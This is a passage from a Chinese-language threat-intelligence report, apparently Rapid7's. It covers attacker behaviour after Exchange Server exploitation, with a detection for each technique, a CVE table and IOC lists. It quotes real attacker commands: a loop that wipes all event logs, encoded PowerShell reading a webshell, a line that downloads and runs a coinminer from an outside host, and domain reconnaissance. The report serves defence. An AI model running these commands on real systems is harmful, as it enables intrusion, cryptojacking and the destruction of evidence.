class="code-snippet__string">\windows\system32\cmd.exe /c tasklist /v</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">tasklist /v</span></span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li></ul><p><br/></p><h2 style="text-align: center;"><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>事件日志删除和虚拟目录创建攻击</strong></span></h2><p>    <span style="font-size: 15px;">该攻击者使用Microsoft实用程序appcmd.exe在现有Webroot中创建了虚拟目录，然后使用wevtutl.exe清除了系统上的所有事件日志：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">CMD C:\Windows\System32\inetsrv\appcmd.exe add vdir <span class="code-snippet__string">&#34;/app.name:Default Web Site/&#34;</span> <span class="code-snippet__string">&#34;/path:/owa/auth/ /zfwqn&#34;</span> /physicalPath:C:\ProgramData\COM\zfwqn</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">CMD /c <span class="code-snippet__keyword">for</span> /f %x in (<span class="code-snippet__string">&#39;wevtutil el&#39;</span>) <span class="code-snippet__keyword">do</span> wevtutil cl %x</span></code><code><span class="code-snippet_outer">wevtutil el</span></code><code><span class="code-snippet_outer">wevtutil cl &lt;REDACTED_ALL_DIFFERENT_EVENT_LOGS&gt;</span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">攻击者技术-使用WEvtUtil清除事件日志</span></p></li></ul><h2 style="text-align: center;"><br/></h2><h2 style="text-align: center;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">Webshell枚举攻击</span></strong></span></h2><p style="text-indent:28px;"><span style="font-size: 15px;">发现攻击者正在执行编码的PowerShell命令，以使用type命令查看HAFNIUM和其他攻击者使用的名为Outlooken.aspx的可能的Webshell文件的内容。这可能是希望利用其他攻击者甚至研究人员在利用这些漏洞所建立的“后门程序”，简称前人栽树后人乘凉：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">cmd</span> <span class="code-snippet__string">/c powershell -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAdAB5AHAAZQAgACIAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAHgAYwBoAGEAbgBnAGUAIABTAGUAcgB2AGUAcgBcAFYAMQA1AFwARgByAG8AbgB0AEUAbgBkAFwASAB0AHQAcABQAHIAbwB4AHkAXABvAHcAYQBcAGEAdQB0AGgAXABvAHUAdABsAG8AbwBrAGUAbgAuAGEAcwBwAHgAIgAiACIA</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">cmd /c powershell -enc dAB5AHAAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQB4AGMAaABhAG4AZwBlACAAUwBlAHIAdgBlAHIAXABWADEANQBcAEYAcgBvAG4AdABFAG4AZABcAEgAdAB0AHAAUAByAG8AeAB5AFwAbwB3AGEAXABhAHUAdABoAFwAbwB1AHQAbABvAG8AawBlAG4ALgBhAHMAcAB4ACIA</span></span></code></pre></section><p><span style="font-size: 15px;color: black;">Base64解码字符串:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">type</span> <span class="code-snippet__string">&#34;C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\outlooken.aspx</span></span></code></pre></section><p><span style="font-size: 15px;color: black;">InsightIDR攻击者行为分析检测这个攻击者的活动:</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="color: black;font-size: 15px;">可疑进程- Outlook Web访问产生的进程</span></p></li></ul><p><br/></p><h2 style="text-align: center;"><span style="font-size: 15px;"><strong><span style="color: rgb(233, 95, 38);">Coinminer dropper攻击</span></strong></span></h2><p><span style="font-size: 15px;">发现一些攻击者使用PowerShell来检索和执行coinminers。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">cmd.exe /<span class="code-snippet__built_in">c</span> powershell.exe <span class="code-snippet__type">Invoke</span>-<span class="code-snippet__type">WebRequest</span> http:<span class="code-snippet__comment">//microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\windows\temp\dsf.exe &amp; C:\windows\temp\dsf.exe RS9+cn_0 &amp; del C:\windows\temp\dsf.exe</span></span></code><code><span class="code-snippet_outer">powershell.exe <span class="code-snippet__type">Invoke</span>-<span class="code-snippet__type">WebRequest</span> http:<span class="code-snippet__comment">//microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\windows\temp\dsf.exe</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\windows\temp\dsf.exe <span class="code-snippet__type">RS9</span>+cn_0</span></code></pre></section><p><span style="font-size: 15px;">多次使用以下位置检索的文件名（稍有不同的文件名）：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">cmd.exe /<span class="code-snippet__built_in">c</span> powershell.exe <span class="code-snippet__type">Invoke</span>-<span class="code-snippet__type">WebRequest</span> http:<span class="code-snippet__comment">//microsoftsoftwaredownload.com:8080/c103w-at.zip -OutFile C:\windows\temp\dsf.exe &amp; C:\windows\temp\dsf.exe RS9+cn_0 &amp; del C:\windows\temp\dsf.exe</span></span></code><code><span class="code-snippet_outer">powershell.exe <span class="code-snippet__type">Invoke</span>-<span class="code-snippet__type">WebRequest</span> http:<span class="code-snippet__comment">//microsoftsoftwaredownload.com:8080/c103w-at.zip</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__type">C</span>:\windows\temp\dsf.exe <span class="code-snippet__type">RS9</span>+cn_0</span></code></pre></section><p><span style="font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">可疑进程-Outlook Web Access产生的进程</span></p></li></ul><p><br/></p><h2 style="text-align: center;"><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>简单侦察攻击</strong></span></h2><p>    发现<span style="font-size: 15px;">一些攻击者执行了非常简单的侦察命令，以收集有关Active Directory中的主机，进程，用户和系统的更多信息</span>：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">net <span class="code-snippet__keyword">group</span> /domain</span></code><code><span class="code-snippet_outer">net <span class="code-snippet__keyword">group</span> <span class="code-snippet__string">&#34;Domain Computers&#34;</span> /<span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer">net <span class="code-snippet__keyword">group</span> <span class="code-snippet__string">&#34;Domain Users&#34;</span>  /<span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer">net <span class="code-snippet__keyword">group</span> IntranetAdmins /<span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer">net user /domain</span></code><code><span class="code-snippet_outer">systeminfo</span></code><code><span class="code-snippet_outer">tasklist</span></code></pre></section><p>另一个仅执行简单侦察类型命令的示例：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">whoami</span></code><code><span class="code-snippet_outer">systeminfo</span></code><code><span class="code-snippet_outer">systeminfo</span></code><code><span class="code-snippet_outer">wmic product <span class="code-snippet__keyword">get</span> name</span></code><code><span class="code-snippet_outer">Wmic product <span class="code-snippet__keyword">get</span> name</span></code></pre></section><p><span style="color: black;font-size: 15px;">用于检测此攻击者活动的InsightIDR攻击者行为分析：</span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="color: black;font-size: 15px;">可疑进程-Outlook WebAccess产生的进程</span></p></li></ul><p><br/></p><p><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">结论</span></strong></span></p><p style="text-indent:28px;"><span style="font-size: 15px;">虽然我们知道这些漏洞在外部已经可以被利用，但这似乎仅是几个动机和技能不同的攻击者所为。Rapid7甚至观察到在两周的时间内，多个不同的角色（HAFNIUM和coinminer drops）在对同一受害者进行攻击利用。一些攻击者利用此漏洞从受害者系统中收集了密码/哈希。这使他们能够从多个受害者收集数据，只要收集到的凭证保持不变，这些数据就允许他们访问Active Directory服务。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">由于攻击者意识到自己的行为会被发现，并且漏洞将很快被修补，所以在这之前相关的凭证信息的传播可能已经达到一定的规模。即使系统已成功修补，这也有可能使这些攻击者继续访问这些帐户。具有HAFNIUM的特征的文件在后来出现了被他人所利用情况，这可能表明同一个漏洞已经被共享或者泄露。在撰写本文时，Rapid7尚无确切证据，并承认此陈述具有推测性。</span></p><p style="text-indent:28px;"><span style="font-size: 15px;">通过继续分析攻击者在攻击后的行为以开发出检测程序，可以大大增加被通知漏洞的可能性。这与用于获得对受害环境的初始访问权限的方法无关。此外，与大多数其他折衷指标在其他类型的公共报告中共享的情况相比，这些检测的寿命更长，并且可以更及时地提供。</span><span style="font-size: 15px;"></span></p><p><span style="color:#e95f26;"></span><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong>观察到攻击者使用的CVE：</strong></span></h2><table cellspacing="3" cellpadding="0" width="640"><thead><tr style="height:54px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(248, 248, 248);padding: 15px 20px;" height="54"><p style="text-align:left;line-height:16px;"><strong><span style="font-size:13px;font-family:Arial,sans-serif;color:#0A0A0A;">Common Vulnerabilities and   Exposure</span></strong></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(254, 254, 254);padding: 15px 20px;" height="54"><p style="text-align:center;line-height:16px;"><strong><span style="font-size:13px;font-family:Arial,sans-serif;color:#0A0A0A;">Description</span></strong></p></td></tr></thead><tbody><tr style="height:54px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">CVE-2018-18913</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Opera  Search Order Hijacking Vulnerability </span><span style="color:black;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#2596CD;"><a href="https://blog.lucideus.com/2019/02/opera-search-order-hijacking-cve-2018-18913.html" target="_blank">https://blog.lucideus.com/2019/02/opera-search-order-hijacking-cve-2018-18913.html</a></span></span></p></td></tr><tr style="height:54px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">CVE-2021-26855</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Microsoft  Exchange Server remote code execution </span><span style="color:black;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#2596CD;"><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855" target="_blank">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855</a></span></span></p></td></tr><tr style="height:55px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="55"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">CVE-2021-26857</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="55"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Microsoft  Exchange Server remote code execution </span><span style="color:black;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#2596CD;"><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26857" target="_blank">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26857</a></span></span></p></td></tr><tr style="height:54px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">CVE-2021-26858</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Microsoft  Exchange Server remote code execution </span><span style="color:black;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#2596CD;"><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26858" target="_blank">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26858</a></span></span></p></td></tr><tr style="height:54px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">CVE-2021-27065</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="54"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Microsoft  Exchange Server remote code execution </span><span style="color:black;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#2596CD;"><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065" target="_blank">https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065</a></span></span></p></td></tr></tbody></table><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">观察到的所有攻击者使用的IOCs：</span></strong></span></h2><table cellspacing="3" cellpadding="0" width="520"><thead><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(248, 248, 248);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><strong><span style="font-size:13px;font-family:Arial,sans-serif;color:#0A0A0A;">Type</span></strong></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(254, 254, 254);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><strong><span style="font-size:13px;font-family:Arial,sans-serif;color:#0A0A0A;">Value</span></strong></p></td></tr></thead><tbody><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">FQDN</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">estonine.com</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">FQDN</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">p.estonine.com</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">FQDN</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">ipinfo.io</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\inetpub\wwwroot\aspnet_client\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\inetpub\wwwroot\aspnet_client\system_web\</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Program Files\Microsoft\Exchange Server\V15\Bin\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Program Files\Microsoft\Exchange  Server\V15\FrontEnd\HttpProxy\owa\auth\</span></p></td></tr><tr style="height:35px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="35"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="35"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Programdata\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\ProgramData\COM\zfwqn\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\root\</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Users\Public\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Users\Public\Opera\</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filepath</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">C:\Windows\temp\</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">1.txt</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">2.bat</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">3.avi</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">b.log</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">c103w-at.zip</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="16"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">client32.exe</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">code</span></p></td></tr><tr style="height:19px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:left;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">Filename</span></p></td><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);padding: 15px 20px;" height="19"><p style="text-align:center;line-height:16px;"><span style="font-size:13px;font-family:Arial,sans-serif;color:#55585A;">curl.exe</span></p></td></tr><tr style="height:16px;"><td valign="top" style="border-top: none;border-right: none;border-left: none;border-bottom: 1px solid rgb(241, 241, 241);background: rgb(241, 241, 241);padding: 15px 20px;" height="16"><p 